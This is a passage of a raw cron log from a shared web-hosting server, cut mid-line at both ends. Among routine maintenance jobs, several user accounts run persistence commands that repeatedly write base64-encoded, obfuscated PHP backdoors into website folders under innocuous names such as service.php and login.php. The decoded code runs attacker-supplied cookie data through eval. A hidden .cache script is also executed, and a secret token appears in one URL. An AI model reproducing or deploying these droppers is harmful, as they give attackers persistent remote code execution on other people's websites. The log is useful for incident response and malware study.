hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:05:01 medusa CROND[23257]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:05:01 medusa CROND[23260]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:05:01 medusa CROND[23231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:06:02 medusa CROND[15522]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 15:06:02 medusa CROND[15627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:06:02 medusa CROND[15628]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:06:02 medusa CROND[15629]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:06:02 medusa CROND[15631]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 15:06:02 medusa CROND[15633]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:06:02 medusa CROND[15634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:06:02 medusa CROND[15635]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:06:02 medusa CROND[15644]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:06:02 medusa CROND[15649]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:06:02 medusa CROND[15654]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:06:02 medusa CROND[15657]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:06:02 medusa CROND[15659]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:06:02 medusa CROND[15661]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:06:02 medusa CROND[15662]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 15:07:02 medusa CROND[7265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:07:02 medusa CROND[7266]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:07:02 medusa CROND[7268]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:07:02 medusa CROND[7269]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:07:02 medusa CROND[7270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:07:02 medusa CROND[7271]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:07:02 medusa CROND[7272]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:07:02 medusa CROND[7275]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:07:02 medusa CROND[7281]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:07:02 medusa CROND[7285]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:07:02 medusa CROND[7286]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6Z